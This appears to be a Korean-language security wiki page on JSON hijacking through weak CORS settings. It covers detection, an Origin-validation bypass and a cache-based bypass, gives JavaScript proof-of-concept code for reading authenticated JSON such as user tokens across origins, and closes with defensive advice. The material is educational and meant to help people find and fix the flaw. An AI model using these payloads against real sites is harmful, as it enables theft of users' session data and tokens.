Back

JSON Hijacking

๐Ÿ” Introduction

JSON Hijacking์€ SOP์˜ ์˜ˆ์™ธ๋ฅผ ์œ„ํ•œ CORS ์„ค์ •์ด ๋ฏธํกํ•œ ๊ฒฝ์šฐ ๊ณต๊ฒฉ์ž๊ฐ€ ์‚ฌ์šฉ์ž์˜ ๋ฐ์ดํ„ฐ ๋“ฑ์„ ์ž„์˜๋กœ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ๋Š” ๊ณต๊ฒฉ ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค.

๐Ÿ—ก Offensive techniques

Detect

๊ณต๊ฒฉ์ž๊ฐ€ ์˜๋„ํ•œ ๋„๋ฉ”์ธ์„ Origin ํ—ค๋”๋กœ ์ „์†กํ•˜์—ฌ ACAO ํ—ค๋”(Access-Control-Allow-Origin)์— ๋ฐ˜์˜๋œ๋‹ค๋ฉด ์ทจ์•ฝ ํ•˜๋‹ค๊ณ  ํŒ๋‹จํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ผ๋ถ€ Wildcard(*)๋กœ ACAO ํ—ค๋”๊ฐ€ ์˜ค๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ๋Š”๋ฐ, ์ด๋Ÿฌํ•œ ๊ฒฝ์šฐ ๋ชจ๋“  ๋„๋ฉ”์ธ์—์„œ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ์ง€๋งŒ, Access-Control-Allow-Credentials์™€ ๋ณ„๊ฐœ๋กœ ์‚ฌ์šฉ์ž์˜ ์ฟ ํ‚ค๋ฅผ ๋ถ™์—ฌ์„œ ์ „์†กํ•  ์ˆ˜ ์—†๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. ์ž์„ธํ•œ ๋‚ด์šฉ์€ ์ด์ „ ํฌ์ŠคํŠธ๋ฅผ ์ฐธ๊ณ ํ•ด์ฃผ์„ธ์š”.

GET /get-info.json HTTP/1.1
Origin: https://www.hahwul.com
HTTP/1.1 200 OK
Server: nginx
Content-Type: application/json
Content-Length: 223
Connection: keep-alive
Last-Modified: Fri, 03 Sep 2021 01:43:46 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Access-Control-Allow-Origin: https://www.hahwul.com
Access-Control-Allow-Credentials: true
Vary: Origin

Exploitation

ACAO์— ๊ณต๊ฒฉ์ž๊ฐ€ ์˜๋„ํ•œ ๋„๋ฉ”์ธ์„ ๋ฐ˜์˜ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด ํ•ด๋‹น ๋„๋ฉ”์ธ์—์„  ์‚ฌ์šฉ์ž์˜ ์„ธ์…˜์„ ์ด์šฉํ•˜์—ฌ ๋ฐ์ดํ„ฐ๋ฅผ ๊ฐ€์ ธ์˜ฌ ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.

var http = new XMLHttpRequest();
http.open("GET", "https://weak-service/get-info.json", true);

http.setRequestHeader("Content-Type","application/json");
http.withCredentials = true;
http.onreadystatechange = function() {
    if(http.readyState == 4 && http.status == 200) {
        console.info(http.status);
        console.info(http.responseText);
        document.write("Responsed data<hr>"+http.responseText);
    } else {
        document.write("Error");
    }
}
http.send();

Bypass protection

Bypass Origin

Origin ํ—ค๋”์— ๋Œ€ํ•ด ๊ฒ€์ฆํ•˜๋Š” ์ ˆ์ฐจ๊ฐ€ ์žˆ๋Š” ๊ฒฝ์šฐ ์–ด๋–ค ํ˜•ํƒœ๋กœ ๊ฒ€์ฆ ํ•˜๋Š”์ง€ ํŒŒ์•…ํ•ด์•ผํ•ฉ๋‹ˆ๋‹ค. ์ •ํ™•ํ•˜๊ฒŒ ๋„๋ฉ”์ธ์„ ์‹๋ณ„ํ•œ๋‹ค๋ฉด ์šฐํšŒ๊ฐ€ ์–ด๋ ต๊ฒ ์ง€๋งŒ, ๋ฌธ์ž์—ด ๋˜๋Š” ์ •๊ทœ์‹ ๊ธฐ๋ฐ˜์œผ๋กœ ์‹๋ณ„ํ•˜๋Š” ๊ฒฝ์šฐ ์šฐํšŒํ•  ๊ฐ€๋Šฅ์„ฑ์ด ๋†’์Šต๋‹ˆ๋‹ค.

Origin: trust.domain.attacker.domain

Origin์˜ ๊ฒฝ์šฐ Referer ํ—ค๋”์™€ ๋‹ค๋ฅด๊ฒŒ Path๊ฐ€ ๋ถ™์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์— ๋„๋ฉ”์ธ์„ ์ด์šฉํ•œ ์šฐํšŒ ๋ฐฉ๋ฒ•์ด ์ตœ์„ ์ž…๋‹ˆ๋‹ค.

Bypass with Caching

ACAO๊ฐ€ Wildcard(*)์ธ ์ƒํƒœ๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ ์œ ์ € ์„ธ์…˜์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์—†์–ด JSON Hijacking์ด ๋ถˆ๊ฐ€๋Šฅํ•˜์ง€๋งŒ, ๋งŒ์•ฝ JSON Response ํŽ˜์ด์ง€์˜ Cache-Control๋กœ ์ธํ•ด ๋กœ์ปฌ ์บ์‹ฑ๋˜๋Š” ๊ฒฝ์šฐ SOP๋ฅผ ์šฐํšŒํ•˜์—ฌ ์ •๋ณด๋ฅผ ๊ฐ€์ ธ์˜ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Access-Control-Allow-Origin: *

Cached ๋ฐ์ดํ„ฐ๋ฅผ ์ฝ๋Š” ๊ณผ์ •์€ ์‹ค์ œ ์„œ๋ฒ„๋กœ ๋ฐ์ดํ„ฐ๋ฅผ ์š”์ฒญํ•˜์ง€ ์•Š๊ณ  ๋ธŒ๋ผ์šฐ์ € ๋‚ด์— ์ €์žฅ๋œ ๋ฐ์ดํ„ฐ๋ฅผ ๋ฐ”๋กœ ์ฝ์–ด ์‚ฌ์šฉ์ž์—๊ฒŒ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์ด๊ฑธ ์ด์šฉํ•˜์—ฌ ๊ณต๊ฒฉ์ž๊ฐ€ ์ค‘์š” ์ •๋ณด๊ฐ€ ์žˆ๋Š” ํŽ˜์ด์ง€๋ฅผ ์‚ฌ์šฉ์ž์˜ ์„ธ์…˜์œผ๋กœ ์บ์‹ฑ์‹œํ‚จ ํ›„ ACAO๊ฐ€ Wildcard์ธ ์ƒํƒœ์—์„œ ์ด๋ฏธ ์บ์‹œ๋œ ๊ฒฐ๊ณผ๋ฅผ ์ฝ์–ด์˜ค๋Š” ํ˜•ํƒœ๋กœ SOP๋ฅผ ํ†ต๊ณผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. (์™œ๋ƒ๋ฉด Origin ์ •์ฑ…์ด wildcard ์ผ ๋•Œ ์ธ์ฆ์„ ํฌํ•จํ•˜์ง€ ์•Š๋Š” ์š”์ฒญ์€ response๋ฅผ ์ฝ์„ ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ด์ฃ  ๐Ÿ˜)

์˜ˆ๋ฅผ๋“ค์–ด ์ธ์ฆ ์ƒํƒœ์—์„œ๋งŒ ์‚ฌ์šฉ์ž ์ •๋ณด๋ฅผ ๋‚ด๋ ค์ฃผ๋Š” ํŽ˜์ด์ง€๊ฐ€ ์žˆ๋‹ค๊ณ  ๊ฐ€์ •ํ•ฉ์‹œ๋‹ค.

With Auth

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Cache-Control: private, max-age=3600
...

{"username":"hahwul","token":"ABCDEFG123456"}

Without Auth

HTTP/1.1 403 FORBIDDEN
Access-Control-Allow-Origin: *
Cache-Control: private, max-age=3600
...

์ด ๋•Œ ACAO๊ฐ€ * ์ธ ์ƒํƒœ์—์„œ CSRF์™€ ๊ฐ™์ด SOP์˜ ์˜ํ–ฅ์„ ๋ฐ›์ง€ ์•Š๋Š” ์š”์ฒญ(img, form, etc…)์„ ํ†ตํ•ด HTTP Request๋ฅผ ์ „์†กํ•ฉ๋‹ˆ๋‹ค.

<img src="https://vuln.hahwul.com/get-token">

๊ทธ๋Ÿฌ๋ฉด ์•„๋ž˜์™€ ๊ฐ™์ด ์‚ฌ์šฉ์ž ์ •๋ณด๋ฅผ ํฌํ•จํ•œ ์š”์ฒญ์ด Response๋กœ ์ „๋‹ฌ๋ฉ๋‹ˆ๋‹ค. ๋‹น์—ฐํžˆ ๊ณต๊ฒฉ์ฝ”๋“œ๋Š” ์ด๋ฅผ ์ฝ์„ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ๋‹จ response ๋‚ด cache-control๋กœ ์ธํ•ด ํ•ด๋‹น ๋ฐ์ดํ„ฐ๋Š” ์‚ฌ์šฉ์ž์˜ ๋ธŒ๋ผ์šฐ์ €์— ์บ์‹œ๋ฉ๋‹ˆ๋‹ค.

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Cache-Control: private, max-age=3600

{"username":"hahwul","token":"ABCDEFG123456"}

์ด์ œ withCredentials๋ฅผ false๋กœ ์ฃผ๊ณ  $.ajax๋ฅผ ํ†ตํ•ด HTTP Request๋ฅผ ์ „์†กํ•ด๋ด…์‹œ๋‹ค. ACAO๊ฐ€ *์ด๊ธฐ ๋–„๋ฌธ์— ์ด ์ฝ”๋“œ๋Š” Response์˜ ๋ฐ์ดํ„ฐ๋ฅผ ํ•ธ๋“ค๋งํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค๋งŒ ์‚ฌ์šฉ์ž์˜ ์ฟ ํ‚ค์ •๋ณด๋Š” ์›น ์š”์ฒญ์— ํฌํ•จ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

$.ajax({
      url: "https://vuln.hahwul.com/get-token",
      type: "get",
      xhrFields: {
        withCredentials: false
      },
      headers: {
          "Accept":"application/json",
          "Accept-Language":"ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3",
      },
      success: function (data) {
          console.info(data);
      }
  });

์ด ๋•Œ ์›น ๋ธŒ๋ผ์šฐ์ €๋Š” ์บ์‹œ๋œ ๋ฐ์ดํ„ฐ๋ฅผ ์ฝ์–ด์˜ค๊ธฐ ๋•Œ๋ฌธ์— body์— ์•„๋ž˜ ์ •๋ณด๊ฐ€ ํฌํ•จ๋˜์–ด response๋กœ ์ „๋‹ฌ๋ฉ๋‹ˆ๋‹ค.

{"username":"hahwul","token":"ABCDEFG123456"}

๊ทธ๋Ÿฌ๋ฉด ๊ณต๊ฒฉ์ž๋Š” SOP๋ฅผ ๋ฌด์‹œํ•˜๊ณ  ์‚ฌ์šฉ์ž์˜ ์ •๋ณด๋ฅผ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ „์ฒด ๊ณต๊ฒฉ ํ”Œ๋กœ์šฐ๋ฅผ ๋‹ด์€ ์ฝ”๋“œ๋Š” ์•„๋ž˜์™€ ๊ฐ™๊ณ , ์ž์„ธํ•œ ๋‚ด์šฉ์€ ์˜ˆ์ „์— ์ž‘์„ฑํ•œ ๊ธ€์„ ์ฐธ๊ณ ํ•ด์ฃผ์„ธ์š” :D

<!-- Step1, Caching with Auth -->
<script>  
var url = "https://vuln.hahwul.com/get-token";  
fetch(url, {    
    method: 'GET',    
    cache: 'force-cache'
    });
</script>
<!-- Sometimes, it is convenient to use the img tag when it is cached by default. -->
<!-- <img src="https://vuln.hahwul.com/get-token"> -->

<!-- Step2, Get Userdata without Auth(Using cache)-->
<script>
//delay for cached
setTimeout(function (){
  // get information without auth
  $.ajax({
      url: "https://vuln.hahwul.com/get-token",
      type: "get",
      xhrFields: {
        withCredentials: false
      },
      headers: {
          "Accept":"application/json",
          "Accept-Language":"ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3",
      },
      success: function (data) {
          console.info(data);
      }
  });
}, 2000);
</script>

๐Ÿ›ก Defensive techniques

CORS ์‚ฌ์šฉ์ด ํ•„์š”ํ•œ ํŽ˜์ด์ง€์—์„  ACAO ํ—ค๋”์— ๋Œ€ํ•ด ๋„๋ฉ”์ธ์„ ์ •ํ™•ํ•˜๊ฒŒ ๋‚ด๋ ค์ฃผ๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค. ๋งŒ์•ฝ ๋กœ์ปฌ์—์„œ๋งŒ ํ˜ธ์ถœ๋˜๋Š” ํŽ˜์ด์ง€๋ผ๋ฉด ACAO ํ—ค๋” ์ž์ฒด๋ฅผ ์‚ฌ์šฉํ•˜์ง€ ์•Š๋Š” ๊ฒƒ์ด ๊ฐ€์žฅ ์ข‹์Šต๋‹ˆ๋‹ค.

๋˜ํ•œ ๋ฏผ๊ฐ์ •๋ณด์˜ ๊ฒฝ์šฐ Response ๋‚ด cache-control์„ ์ ์ ˆํžˆ ์„ค์ •ํ•˜์—ฌ (no-cache ๋“ฑ) ๋ฐ์ดํ„ฐ๊ฐ€ ๋กœ์ปฌ ๋ธŒ๋ผ์šฐ์ €์— ํŒŒ์ผ๋กœ ์บ์‹œ๋˜์ง€ ์•Š๋„๋ก ์ฒ˜๋ฆฌํ•ด์ฃผ๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค. (ํŠนํžˆ ACAO *์„ ํ—ˆ์šฉํ•˜๋Š” ๊ฒฝ์šฐ)

๐Ÿ“Œ References

Licensed under CC BY-NC-SA 4.0
Last updated on Sep 07, 2021 00:03 +0900